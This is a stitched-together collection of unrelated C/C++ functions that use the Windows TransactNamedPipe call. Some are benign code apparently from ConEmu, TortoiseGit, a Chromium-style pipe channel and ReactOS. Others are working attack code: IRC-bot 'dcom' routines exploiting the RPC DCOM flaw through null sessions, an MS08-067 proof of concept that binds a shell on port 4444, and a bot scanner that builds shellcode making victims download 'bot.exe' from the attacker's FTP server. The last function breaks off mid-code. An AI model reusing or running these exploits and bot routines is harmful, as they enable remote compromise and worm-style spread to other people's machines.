// Не интересуется результатом команды! BOOL CConEmuPipe::Execute(int nCmd, LPCVOID apData, UINT anDataSize) { WARNING("Если указан mdw_Timeout - создать нить и выполнять команду в ней. Ожидать нить не более и прибить ее, если пришел Timeout"); MCHKHEAP if (!((nCmd >= (int)CMD_FIRST_FAR_CMD && nCmd <= (int)CMD_LAST_FAR_CMD))) { TCHAR szError[128]; _wsprintf(szError, SKIPLEN(countof(szError)) _T("Invalid command id (%i)!\nPID=%u, TID=%u"), nCmd, GetCurrentProcessId(), GetCurrentThreadId()); MBoxA(szError); return FALSE; } #ifdef _DEBUG WCHAR szMsg[64]; _wsprintf(szMsg, SKIPLEN(countof(szMsg)) _T("Pipe:Execute(%i)\n"), nCmd); DEBUGSTR(szMsg); #endif int nAllSize = sizeof(CESERVER_REQ_HDR)+anDataSize; CESERVER_REQ* pIn = ExecuteNewCmd(nCmd, nAllSize); if (!pIn) { _ASSERTE(pIn!=NULL); TCHAR szError[128]; _wsprintf(szError, SKIPLEN(countof(szError)) _T("Pipe: Can't allocate memory (%i) bytes, Cmd = %i!"), nAllSize, nCmd); MBoxA(szError); Close(); return FALSE; } if (apData && anDataSize) { memmove(pIn->Data, apData, anDataSize); } DWORD dwTickStart = timeGetTime(); BYTE cbReadBuf[512]; BOOL fSuccess; DWORD cbRead, dwErr; // Send a message to the pipe server and read the response. fSuccess = TransactNamedPipe( mh_Pipe, // pipe handle pIn, // message to server pIn->hdr.cbSize, // message length cbReadBuf, // buffer to receive reply sizeof(cbReadBuf), // size of read buffer &cbRead, // bytes read NULL); // not overlapped dwErr = GetLastError(); gpSetCls->debugLogCommand(pIn, FALSE, dwTickStart, timeGetTime()-dwTickStart, ms_PipeName); if (!fSuccess && dwErr == ERROR_BROKEN_PIPE) { // Плагин не вернул данных, но обработал команду Close(); SafeFree(pIn); return TRUE; } else if (!fSuccess && (dwErr != ERROR_MORE_DATA)) { DEBUGSTR(L" - FAILED!\n"); TCHAR szError[128]; _wsprintf(szError, SKIPLEN(countof(szError)) _T("Pipe: TransactNamedPipe failed, Cmd = %i, ErrCode = 0x%08X!"), nCmd, dwErr); MBoxA(szError); Close(); SafeFree(pIn); return FALSE; } if (cbRead < sizeof(DWORD)) { pOut = NULL; Close(); SafeFree(pIn); return FALSE; } pOut = (CESERVER_REQ*)cbReadBuf; // Проверка размера if (pOut->hdr.cbSize <= sizeof(pOut->hdr)) { _ASSERTE(pOut->hdr.cbSize == 0); pOut = NULL; Close(); SafeFree(pIn); return FALSE; } if (pOut->hdr.nVersion != CESERVER_REQ_VER) { gpConEmu->ReportOldCmdVersion(pOut->hdr.nCmd, pOut->hdr.nVersion, -1, pOut->hdr.nSrcPID, pOut->hdr.hModule, pOut->hdr.nBits); pOut = NULL; Close(); SafeFree(pIn); return FALSE; } nAllSize = pOut->hdr.cbSize; pOut = NULL; if (nAllSize==0) { DEBUGSTR(L" - FAILED!\n"); DisplayLastError(L"Empty data recieved from server", 0); Close(); SafeFree(pIn); return FALSE; } pOut = (CESERVER_REQ*)calloc(nAllSize,1); _ASSERTE(pOut!=NULL); memmove(pOut, cbReadBuf, cbRead); _ASSERTE(pOut->hdr.nVersion==CESERVER_REQ_VER); LPBYTE ptrData = ((LPBYTE)pOut)+cbRead; nAllSize -= cbRead; while (nAllSize>0) { //_tprintf(TEXT("%s\n"), chReadBuf); // Break if TransactNamedPipe or ReadFile is successful if (fSuccess) break; // Read from the pipe if there is more data in the message. fSuccess = ReadFile( mh_Pipe, // pipe handle ptrData, // buffer to receive reply nAllSize, // size of buffer &cbRead, // number of bytes read NULL); // not overlapped // Exit if an error other than ERROR_MORE_DATA occurs. if (!fSuccess && (GetLastError() != ERROR_MORE_DATA)) break; ptrData += cbRead; nAllSize -= cbRead; } TODO("Может возникнуть ASSERT, если консоль была закрыта в процессе чтения"); _ASSERTE(nAllSize==0); SafeCloseHandle(mh_Pipe); SafeFree(pIn); lpCursor = pOut->Data; dwMaxDataSize = pOut->hdr.cbSize - sizeof(CESERVER_REQ_HDR); return TRUE; }
BOOL dcom(EXINFO exinfo) { char sendbuf[IRCLINE]; if (exinfo.port == 445) { NETRESOURCEW nr; if (!ConnectViaNullSession(exinfo.ip, &nr)) return FALSE; else { char szPipePath[MAX_PATH]; sprintf(szPipePath, "\\\\%s\\pipe\\epmapper", exinfo.ip); HANDLE hFile = CreateFile(szPipePath, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { CloseNullSession(exinfo.ip); return FALSE; } // sprintf(sendbuf, "[dcom]: Connected to pipe \\\\%s\\pipe\\epmapper", exinfo.ip); // irc_privmsg(exinfo.sock, exinfo.chan, sendbuf, exinfo.notice); int TargetOS = FpHost(exinfo.ip, FP_PORT5K); // get shellcode DWORD reqbufsize; char *reqbuf = CreateDCOMRequestPacket(exinfo, &reqbufsize, TargetOS, TRUE); if (!reqbuf) { CloseHandle(hFile); CloseNullSession(exinfo.ip); return FALSE; } unsigned long lWritten; char *szInBuf = (char *)malloc(100000); memset(szInBuf, 0, 100000); // send the bind string DWORD dwRead; TransactNamedPipe(hFile, bindstr, sizeof(bindstr)-1, szInBuf, 10000, &dwRead, NULL); if (szInBuf[2] != 0x0C) { free(szInBuf); free(reqbuf); CloseHandle(hFile); CloseNullSession(exinfo.ip); return FALSE; } // send the evil request if (!WriteFile(hFile, reqbuf, reqbufsize, &lWritten, 0)) { free(szInBuf); free(reqbuf); CloseHandle(hFile); CloseNullSession(exinfo.ip); return FALSE; } BOOL Result = ReadFile(hFile, szInBuf, 10000, &dwRead, NULL); free(reqbuf); free(szInBuf); CloseHandle(hFile); CloseNullSession(exinfo.ip); if (Result == TRUE) { return FALSE; } } } else { // port 135 and others int TargetOS = FpHost(exinfo.ip, FP_RPC); if (TargetOS == OS_WINNT) return FALSE; // get a funky fresh socket SOCKET sSocket = fsocket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (sSocket == SOCKET_ERROR) return FALSE; // fill in sockaddr and resolve the host SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned short)exinfo.port); ssin.sin_addr.s_addr = finet_addr(exinfo.ip); // get shellcode DWORD reqbufsize; char *reqbuf = CreateDCOMRequestPacket(exinfo, &reqbufsize, TargetOS, FALSE); if (!reqbuf) { fclosesocket(sSocket); return FALSE; } // connect to the server int iErr = fconnect(sSocket, (LPSOCKADDR)&ssin, sizeof(ssin)); if (iErr == -1) { // connect failed, exit free(reqbuf); fclosesocket(sSocket); return FALSE; } // send the bind string if (fsend(sSocket, bindstr, sizeof(bindstr)-1, 0) == SOCKET_ERROR) { free(reqbuf); fclosesocket(sSocket); return FALSE; } // read reply char recvbuf[4096]; frecv(sSocket, recvbuf, 4096, 0); // Send the evil request if (fsend(sSocket, reqbuf, reqbufsize, 0) == SOCKET_ERROR) { free(reqbuf); fclosesocket(sSocket); return FALSE; } // read reply if (frecv(sSocket, recvbuf, 4096, 0) == SOCKET_ERROR) { free(reqbuf); fclosesocket(sSocket); return FALSE; } free(reqbuf); // Close the socket fclosesocket(sSocket); } sprintf(sendbuf,"[TFTP]: File transfer complete to IP: %s", exinfo.ip); for (int i=0; i < 6; i++) { if (searchlog(sendbuf)) { sprintf(sendbuf, "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, sendbuf, exinfo.notice); addlog(sendbuf); exploit[exinfo.exploit].stats++; break; } Sleep(5000); } return TRUE; }
bool CCacheDlg::GetStatusFromRemoteCache(const CTGitPath& Path, bool bRecursive) { if(!EnsurePipeOpen()) { STARTUPINFO startup = { 0 }; PROCESS_INFORMATION process = { 0 }; startup.cb = sizeof(startup); CString sCachePath = L"TGitCache.exe"; if (CreateProcess(sCachePath.GetBuffer(sCachePath.GetLength() + 1), L"", nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startup, &process) == 0) { // It's not appropriate to do a message box here, because there may be hundreds of calls sCachePath.ReleaseBuffer(); ATLTRACE("Failed to start cache\n"); return false; } sCachePath.ReleaseBuffer(); // Wait for the cache to open ULONGLONG endTime = GetTickCount64()+1000; while(!EnsurePipeOpen()) { if((GetTickCount64() - endTime) > 0) { return false; } } } DWORD nBytesRead; TGITCacheRequest request; request.flags = TGITCACHE_FLAGS_NONOTIFICATIONS; if(bRecursive) { request.flags |= TGITCACHE_FLAGS_RECUSIVE_STATUS; } wcsncpy_s(request.path, Path.GetWinPath(), MAX_PATH); SecureZeroMemory(&m_Overlapped, sizeof(OVERLAPPED)); m_Overlapped.hEvent = m_hEvent; // Do the transaction in overlapped mode. // That way, if anything happens which might block this call // we still can get out of it. We NEVER MUST BLOCK THE SHELL! // A blocked shell is a very bad user impression, because users // who don't know why it's blocked might find the only solution // to such a problem is a reboot and therefore they might loose // valuable data. // Sure, it would be better to have no situations where the shell // even can get blocked, but the timeout of 5 seconds is long enough // so that users still recognize that something might be wrong and // report back to us so we can investigate further. TGITCacheResponse ReturnedStatus; BOOL fSuccess = TransactNamedPipe(m_hPipe, &request, sizeof(request), &ReturnedStatus, sizeof(ReturnedStatus), &nBytesRead, &m_Overlapped); if (!fSuccess) { if (GetLastError()!=ERROR_IO_PENDING) { ClosePipe(); return false; } // TransactNamedPipe is working in an overlapped operation. // Wait for it to finish DWORD dwWait = WaitForSingleObject(m_hEvent, INFINITE); if (dwWait == WAIT_OBJECT_0) { fSuccess = GetOverlappedResult(m_hPipe, &m_Overlapped, &nBytesRead, FALSE); return TRUE; } else fSuccess = FALSE; } ClosePipe(); return false; }
int main(int argc, char* argv[]) { char *server; NETRESOURCE nr; char unc[MAX_PATH]; char szPipe[MAX_PATH]; HANDLE hFile; WSADATA wsa; int bwritten=0; BYTE rbuf[0x100]=""; DWORD dw; PVOID ptr = (PVOID)&POP; printf( "\tMS08-067 Remote Stack Overflow Vulnerability Exploit(POC)\n\n" ); printf( "Create by Whitecell's [email protected] 2008/10/27\n" ); printf( "Thanks isno and PolyMeta\n" ); printf( "ShellCode Function: bindshell port:4444\n" ); printf( "usage:\n%s [IP]\n", argv[0] ); if ( argc != 2 ) { return 0; } if ( WSAStartup(MAKEWORD(2,2),&wsa) != 0 ) { printf( "WSAStartup failed\n" ); return 0; } memcpy((char *)ptr + 74, bind_shellcode, sizeof(bind_shellcode)-1); server=argv[1]; _snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server); unc[sizeof(unc)-1] = 0; nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpRemoteName = unc; nr.lpProvider = NULL; printf( "connect %s ipc$ .... ", server ); if ( WNetAddConnection2(&nr, "", "", 0) != 0 ) { printf( "failed\n" ); return 0; } else { printf( "success!\n" ); } _snprintf(szPipe, sizeof(szPipe),"\\\\%s\\pipe\\browser",server); printf( "open \\\\%s\\pipe\\browser ....", server ); hFile = CreateFile( szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if ( hFile == (HANDLE)-1 ) { printf( "failed!\n" ); return 0; } else { printf( "success!\n" ); } printf( "Bind Rpc 4b324fc8-1670-01d3-1278-5a47bf6ee188 Interface\n" ); BindRpcInterface(hFile,"4b324fc8-1670-01d3-1278-5a47bf6ee188","3.0"); printf( "Send shellcode ....\n" ); TransactNamedPipe(hFile, (PVOID)&POP, sizeof(POP) - 1, rbuf, sizeof(rbuf), &dw, NULL); printf( "Send Exploit ...... \n" ); TransactNamedPipe(hFile, (PVOID)&EXPLOIT, sizeof(EXPLOIT) - 1, rbuf, sizeof(rbuf), &dw, NULL); CloseHandle( hFile ); return 0; }
bool CRemoteCacheLink::GetStatusFromRemoteCache(const CTGitPath& Path, TGITCacheResponse* pReturnedStatus, bool bRecursive) { if(!EnsurePipeOpen()) { // We've failed to open the pipe - try and start the cache // but only if the last try to start the cache was a certain time // ago. If we just try over and over again without a small pause // in between, the explorer is rendered unusable! // Failing to start the cache can have different reasons: missing exe, // missing registry key, corrupt exe, ... if (((long)GetTickCount() - m_lastTimeout) < 0) return false; // if we're in protected mode, don't try to start the cache: since we're // here, we know we can't access it anyway and starting a new process will // trigger a warning dialog in IE7+ on Vista - we don't want that. if (GetProcessIntegrityLevel() < SECURITY_MANDATORY_MEDIUM_RID) return false; if (!RunTGitCacheProcess()) return false; // Wait for the cache to open long endTime = (long)GetTickCount()+1000; while(!EnsurePipeOpen()) { if(((long)GetTickCount() - endTime) > 0) { m_lastTimeout = (long)GetTickCount()+10000; return false; } } m_lastTimeout = (long)GetTickCount()+10000; } AutoLocker lock(m_critSec); DWORD nBytesRead; TGITCacheRequest request; request.flags = TGITCACHE_FLAGS_NONOTIFICATIONS; if(bRecursive) { request.flags |= TGITCACHE_FLAGS_RECUSIVE_STATUS; } wcsncpy_s(request.path, Path.GetWinPath(), _countof(request.path) - 1); SecureZeroMemory(&m_Overlapped, sizeof(OVERLAPPED)); m_Overlapped.hEvent = m_hEvent; // Do the transaction in overlapped mode. // That way, if anything happens which might block this call // we still can get out of it. We NEVER MUST BLOCK THE SHELL! // A blocked shell is a very bad user impression, because users // who don't know why it's blocked might find the only solution // to such a problem is a reboot and therefore they might loose // valuable data. // One particular situation where the shell could hang is when // the cache crashes and our crash report dialog comes up. // Sure, it would be better to have no situations where the shell // even can get blocked, but the timeout of 10 seconds is long enough // so that users still recognize that something might be wrong and // report back to us so we can investigate further. BOOL fSuccess = TransactNamedPipe(m_hPipe, &request, sizeof(request), pReturnedStatus, sizeof(*pReturnedStatus), &nBytesRead, &m_Overlapped); if (!fSuccess) { if (GetLastError()!=ERROR_IO_PENDING) { //OutputDebugStringA("TortoiseShell: TransactNamedPipe failed\n"); ClosePipe(); return false; } // TransactNamedPipe is working in an overlapped operation. // Wait for it to finish DWORD dwWait = WaitForSingleObject(m_hEvent, 10000); if (dwWait == WAIT_OBJECT_0) { fSuccess = GetOverlappedResult(m_hPipe, &m_Overlapped, &nBytesRead, FALSE); } else { // the cache didn't respond! fSuccess = FALSE; } } if (fSuccess) { return true; } ClosePipe(); return false; }
void NamedPipeChannel::OnRequested(PTP_WORK work) { lock_.Acquire(); auto request = std::move(queue_.front()); queue_.pop(); if (!queue_.empty()) SubmitThreadpoolWork(work); do { base::AutoLock guard(lock_, base::AutoLock::AlreadyAcquired()); if (request->command == Command::kNotify) break; if (handle_ == INVALID_HANDLE_VALUE || io_ == nullptr) { request->result = E_HANDLE; break; } StartThreadpoolIo(io_); bool succeeded; switch (request->command) { case Command::kConnectAsync: succeeded = ConnectNamedPipe(handle_, request.get()) != FALSE; break; case Command::kReadAsync: succeeded = ReadFile(handle_, request->output, request->output_length, &request->length, request.get()) != FALSE; break; case Command::kWriteAsync: succeeded = WriteFile(handle_, request->input, request->input_length, &request->length, request.get()) != FALSE; break; case Command::kTransactAsync: succeeded = TransactNamedPipe(handle_, request->input, request->input_length, request->output, request->output_length, &request->length, request.get()) != FALSE; break; default: LOG(FATAL) << "Invalid command: " << static_cast<int>(request->command); succeeded = false; SetLastError(HRESULT_CODE(E_UNEXPECTED)); break; } auto error = GetLastError(); if (succeeded || error == ERROR_IO_PENDING || error == ERROR_MORE_DATA) { request.release(); return; } request->result = HRESULT_FROM_WIN32(error); CancelThreadpoolIo(io_); } while (false); if (request->command != Command::kNotify) { request->completed_command = request->command; request->command = Command::kNotify; } switch (request->completed_command) { case Command::kConnectAsync: if (HRESULT_CODE(request->result) == ERROR_PIPE_CONNECTED) request->result = HRESULT_CODE(request->result); request->listener->OnConnected(this, request->result); break; case Command::kReadAsync: if (HRESULT_CODE(request->result) == ERROR_MORE_DATA) request->result = HRESULT_CODE(request->result); request->channel_listener->OnRead(this, request->result, request->output, request->length); break; case Command::kWriteAsync: request->channel_listener->OnWritten(this, request->result, request->input, request->length); break; case Command::kTransactAsync: if (HRESULT_CODE(request->result) == ERROR_MORE_DATA) request->result = HRESULT_CODE(request->result); request->listener->OnTransacted(this, request->result, request->input, request->output, request->length); break; default: LOG(FATAL) << "Invalid command: " << static_cast<int>(request->completed_command); break; } }
//Arguments: // hConWnd - Хэндл КОНСОЛЬНОГО окна (по нему формируется имя пайпа для GUI) // pIn - выполняемая команда // nTimeout- таймаут подключения //Returns: // CESERVER_REQ. Его необходимо освободить через free(...); //WARNING!!! // Эта процедура не может получить с сервера более 600 байт данных! // В заголовке hOwner в дебаге может быть отображена ошибка CESERVER_REQ* ExecuteCmd(const wchar_t* szPipeName, CESERVER_REQ* pIn, DWORD nWaitPipe, HWND hOwner, BOOL bAsyncNoResult, DWORD nServerPID) { CESERVER_REQ* pOut = NULL; HANDLE hPipe = NULL; BYTE cbReadBuf[600]; // чтобы CESERVER_REQ_OUTPUTFILE поместился wchar_t szErr[MAX_PATH*2]; szErr[0] = 0; BOOL fSuccess = FALSE; DWORD cbRead = 0, /*dwMode = 0,*/ dwErr = 0; if (!pIn || !szPipeName) { _ASSERTE(pIn && szPipeName); return NULL; } pIn->hdr.bAsync = bAsyncNoResult; _ASSERTE(pIn->hdr.nSrcPID && pIn->hdr.nSrcThreadId); _ASSERTE(pIn->hdr.cbSize >= sizeof(pIn->hdr)); hPipe = ExecuteOpenPipe(szPipeName, szErr, NULL/*Сюда хорошо бы имя модуля подкрутить*/, nServerPID, nWaitPipe); if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) { #ifdef _DEBUG dwErr = GetLastError(); // в заголовке "чисто" запущенного фара появляются отладочные(?) сообщения // по идее - не должны, т.к. все должно быть через мэппинг _ASSERTEX(hPipe != NULL && hPipe != INVALID_HANDLE_VALUE); #ifdef CONEMU_MINIMAL SetConsoleTitle(szErr); #else if (hOwner) { if (hOwner == myGetConsoleWindow()) SetConsoleTitle(szErr); else SetWindowText(hOwner, szErr); } #endif #endif return NULL; } //// Try to open a named pipe; wait for it, if necessary. //while (1) //{ // hPipe = CreateFile( // szPipeName, // pipe name // GENERIC_READ | // read and write access // GENERIC_WRITE, // 0, // no sharing // NULL, // default security attributes // OPEN_EXISTING, // opens existing pipe // 0, // default attributes // NULL); // no template file // // // Break if the pipe handle is valid. // if (hPipe != INVALID_HANDLE_VALUE) // break; // // // Exit if an error other than ERROR_PIPE_BUSY occurs. // dwErr = GetLastError(); // if (dwErr != ERROR_PIPE_BUSY) // { // return NULL; // } // // // All pipe instances are busy, so wait for 1 second. // if (!WaitNamedPipe(szPipeName, nWaitPipe) ) // { // return NULL; // } //} // //// The pipe connected; change to message-read mode. //dwMode = PIPE_READMODE_MESSAGE; //fSuccess = SetNamedPipeHandleState( // hPipe, // pipe handle // &dwMode, // new pipe mode // NULL, // don't set maximum bytes // NULL); // don't set maximum time //if (!fSuccess) //{ // CloseHandle(hPipe); // return NULL; //} _ASSERTE(pIn->hdr.nSrcThreadId==GetCurrentThreadId()); if (bAsyncNoResult) { // Если нас не интересует возврат и нужно сразу вернуться fSuccess = WriteFile(hPipe, pIn, pIn->hdr.cbSize, &cbRead, NULL); #ifdef _DEBUG dwErr = GetLastError(); _ASSERTE(fSuccess && (cbRead == pIn->hdr.cbSize)); #endif return NULL; } else { WARNING("При Overlapped часто виснет в этом месте."); // Send a message to the pipe server and read the response. fSuccess = TransactNamedPipe( hPipe, // pipe handle (LPVOID)pIn, // message to server pIn->hdr.cbSize, // message length cbReadBuf, // buffer to receive reply sizeof(cbReadBuf), // size of read buffer &cbRead, // bytes read NULL); // not overlapped dwErr = GetLastError(); //CloseHandle(hPipe); if (!fSuccess && (dwErr != ERROR_MORE_DATA)) { //_ASSERTE(fSuccess || (dwErr == ERROR_MORE_DATA)); CloseHandle(hPipe); return NULL; } } if (cbRead < sizeof(CESERVER_REQ_HDR)) { CloseHandle(hPipe); return NULL; } pOut = (CESERVER_REQ*)cbReadBuf; // temporary if (pOut->hdr.cbSize < cbRead) { CloseHandle(hPipe); if (pOut->hdr.cbSize) { _ASSERTE(pOut->hdr.cbSize == 0 || pOut->hdr.cbSize >= cbRead); DEBUGSTR(L"!!! Wrong nSize received from GUI server !!!\n"); } return NULL; } if (pOut->hdr.nVersion != CESERVER_REQ_VER) { CloseHandle(hPipe); DEBUGSTR(L"!!! Wrong nVersion received from GUI server !!!\n"); return NULL; } int nAllSize = pOut->hdr.cbSize; pOut = (CESERVER_REQ*)malloc(nAllSize); _ASSERTE(pOut); if (!pOut) { CloseHandle(hPipe); return NULL; } memmove(pOut, cbReadBuf, cbRead); LPBYTE ptrData = ((LPBYTE)pOut)+cbRead; nAllSize -= cbRead; while (nAllSize>0) { // Break if TransactNamedPipe or ReadFile is successful if (fSuccess) break; // Read from the pipe if there is more data in the message. fSuccess = ReadFile( hPipe, // pipe handle ptrData, // buffer to receive reply nAllSize, // size of buffer &cbRead, // number of bytes read NULL); // not overlapped // Exit if an error other than ERROR_MORE_DATA occurs. if (!fSuccess && (GetLastError() != ERROR_MORE_DATA)) break; ptrData += cbRead; nAllSize -= cbRead; } CloseHandle(hPipe); if (pOut && (pOut->hdr.nCmd != pIn->hdr.nCmd)) { _ASSERTE(pOut->hdr.nCmd == pIn->hdr.nCmd); if (pOut->hdr.nCmd == 0) { ExecuteFreeResult(pOut); pOut = NULL; } } return pOut; }
BOOL dcom(EXINFO exinfo) { if (exinfo.port == 445) { NETRESOURCEW nr; if (!ConnectViaNullSession(exinfo.ip, &nr)) return FALSE; else { char szPipePath[MAX_PATH]; //sprintf(szPipePath, "\\\\%s\\pipe\\epmapper", exinfo.ip);//sorry kaspersky sprintf(szPipePath, "\\\\%s\\", exinfo.ip); strcat(szPipePath,"pipe\\epmapper"); HANDLE hFile = CreateFile(szPipePath, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { CloseNullSession(exinfo.ip); return FALSE; } int TargetOS = FpHost(exinfo.ip, FP_PORT5K); //int TargetOS=FpHost(exinfo.ip,FP_NP); //if (TargetOS==OS_UNKNOWN) //TargetOS=FpHost(exinfo.ip,FP_SMB); //if (TargetOS == OS_WINNT) //return FALSE; // get shellcode DWORD reqbufsize; char *reqbuf = CreateDCOMRequestPacket(exinfo, &reqbufsize, TargetOS, TRUE); if (!reqbuf) { CloseHandle(hFile); CloseNullSession(exinfo.ip); return FALSE; } unsigned long lWritten; char *szInBuf = (char *)malloc(100000); ZeroMemory(szInBuf,100000); // send the bind string DWORD dwRead; TransactNamedPipe(hFile, bindstr, sizeof(bindstr)-1, szInBuf, 10000, &dwRead, NULL); if (szInBuf[2] != 0x0C) { free(szInBuf); free(reqbuf); CloseHandle(hFile); CloseNullSession(exinfo.ip); return FALSE; } // send the evil request if (!WriteFile(hFile, reqbuf, reqbufsize, &lWritten, 0)) { free(szInBuf); free(reqbuf); CloseHandle(hFile); CloseNullSession(exinfo.ip); return FALSE; } free(reqbuf); free(szInBuf); CloseHandle(hFile); CloseNullSession(exinfo.ip); } } else { // port 135 and others int TargetOS=FpHost(exinfo.ip,FP_RPC); //if (TargetOS==OS_UNKNOWN) //TargetOS=FpHost(exinfo.ip,FP_SMB); //if (TargetOS == OS_WINNT) //return FALSE; // get a funky fresh socket SOCKET sSocket = fsocket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (sSocket == SOCKET_ERROR) return FALSE; // fill in sockaddr and resolve the host SOCKADDR_IN ssin; ZeroMemory(&ssin,sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(exinfo.port); ssin.sin_addr.s_addr = finet_addr(exinfo.ip); // get shellcode DWORD reqbufsize; char *reqbuf = CreateDCOMRequestPacket(exinfo, &reqbufsize, TargetOS, FALSE); if (!reqbuf) { fclosesocket(sSocket); return FALSE; } // connect to the server int iErr = fconnect(sSocket, (LPSOCKADDR)&ssin, sizeof(ssin)); if (iErr == -1) { // connect failed, exit free(reqbuf); fclosesocket(sSocket); return FALSE; } // send the bind string if (fsend(sSocket, bindstr, sizeof(bindstr)-1, 0) == SOCKET_ERROR) { free(reqbuf); fclosesocket(sSocket); return FALSE; } // read reply char recvbuf[4096]; frecv(sSocket, recvbuf, 4096, 0); // Send the evil request if (fsend(sSocket, reqbuf, reqbufsize, 0) == SOCKET_ERROR) { free(reqbuf); fclosesocket(sSocket); return FALSE; } free(reqbuf); // Close the socket fclosesocket(sSocket); } Sleep(2000); if (DShell(exinfo)) { exploit[ exinfo.exploit ].stats++; } return TRUE; }
/* * @implemented */ BOOL WINAPI CallNamedPipeW(LPCWSTR lpNamedPipeName, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesRead, DWORD nTimeOut) { HANDLE hPipe; BOOL bRetry = TRUE; BOOL bError; DWORD dwPipeMode; while (TRUE) { /* Try creating it */ hPipe = CreateFileW(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); /* Success, break out */ if (hPipe != INVALID_HANDLE_VALUE) break; /* Already tried twice, give up */ if (bRetry == FALSE) return FALSE; /* Wait on it */ WaitNamedPipeW(lpNamedPipeName, nTimeOut); /* Get ready to try again */ bRetry = FALSE; } /* Set the pipe mode */ dwPipeMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; bError = SetNamedPipeHandleState(hPipe, &dwPipeMode, NULL, NULL); if (!bError) { /* Couldn't change state, fail */ CloseHandle(hPipe); return FALSE; } /* Do the transact */ bError = TransactNamedPipe(hPipe, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesRead, NULL); /* Close the handle */ CloseHandle(hPipe); return bError; }
bool CScannerDCOM::Exploit() { switch(m_sSocket.m_sPort) { case 135: case 1025: { char szRecvBuf[4096]; char szSCBuf[4096]; char szReqBuf[4096]; char szShellBuf[4096]; int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=sizeof(nops)-1; char *pTemp; int iHostOS=FpHost(m_sSocket.m_szHost, FP_RPC); if(iHostOS==OS_UNKNOWN) iHostOS=FpHost(m_sSocket.m_szHost, FP_SMB); if(iHostOS==OS_WINNT) return false; CString sURL; if(IsPrivate(g_pMainCtrl->m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(m_sSocket.m_szHost)) sURL.Format("ftp://*****:*****@%s:%d/bot.exe", g_pMainCtrl->m_cIRC.m_sLocalHost.CStr(), \ g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue); else sURL.Format("ftp://*****:*****@%s:%d/bot.exe", inet_ntoa(to_in_addr(g_pMainCtrl->m_cIRC.m_lLocalAddr)), \ g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue); iShellSize=setup_shellcode_udtf(szShellBuf, sizeof(szShellBuf), sURL.Str(), false); // Build a buffer with the shellcode memcpy(szSCBuf+iPos, shellcode_start, sizeof(shellcode_start)-1 ); iPos+=sizeof(shellcode_start)-1; memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize; memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize; iSCSize=iPos; iPos=0; // Prepend NOPs as long as shellcode doesn't fit RPC packet format while(iSCSize%16!=12) { char *szTemp=(char*)malloc(iSCSize+1); iNOPSize++; memcpy(szSCBuf+iPos, shellcode_start, sizeof(shellcode_start)-1 ); iPos+=sizeof(shellcode_start)-1; memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize; memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize; iSCSize=iPos; iPos=0; free(szTemp); } // Set the return address if(iHostOS==OS_WINXP || iHostOS==OS_UNKNOWN) memcpy(szSCBuf+36, (char*)&my_offsets[1], 4); else memcpy(szSCBuf+36, (char*)&my_offsets[0], 4); // Build the request memcpy(szReqBuf+iPos, request1, sizeof(request1)-1 ); iPos+=sizeof(request1)-1; memcpy(szReqBuf+iPos, request2, sizeof(request2)-1 ); iPos+=sizeof(request2)-1; memcpy(szReqBuf+iPos, szSCBuf, iSCSize ); iPos+=iSCSize; memcpy(szReqBuf+iPos, request3, sizeof(request3)-1 ); iPos+=sizeof(request3)-1; memcpy(szReqBuf+iPos, request4, sizeof(request4)-1 ); iPos+=sizeof(request4)-1; iReqSize=iPos; pTemp=szReqBuf+sizeof(request1)-1; // Fill the request with the right sizes *(unsigned long*)(pTemp) = *(unsigned long*)(pTemp) + iSCSize / 2; *(unsigned long*)(pTemp+8) = *(unsigned long*)(pTemp+8) + iSCSize / 2; pTemp=szReqBuf; *(unsigned long*)(pTemp+8) = *(unsigned long*)(pTemp+8) + iSCSize - 12; *(unsigned long*)(pTemp+16) = *(unsigned long*)(pTemp+16) + iSCSize - 12; *(unsigned long*)(pTemp+128) = *(unsigned long*)(pTemp+128) + iSCSize - 12; *(unsigned long*)(pTemp+132) = *(unsigned long*)(pTemp+132) + iSCSize - 12; *(unsigned long*)(pTemp+180) = *(unsigned long*)(pTemp+180) + iSCSize - 12; *(unsigned long*)(pTemp+184) = *(unsigned long*)(pTemp+184) + iSCSize - 12; *(unsigned long*)(pTemp+208) = *(unsigned long*)(pTemp+208) + iSCSize - 12; *(unsigned long*)(pTemp+396) = *(unsigned long*)(pTemp+396) + iSCSize - 12; // Connect to the server if(!m_sSocket.Connect(m_sSocket.m_szHost, m_sSocket.m_sPort)) // Connect failed, exit return false; // Send the bind string if(!m_sSocket.Write(bindstr, sizeof(bindstr)-1)) { m_sSocket.Disconnect(); return false; } // Read reply m_sSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000); // Send the evil request 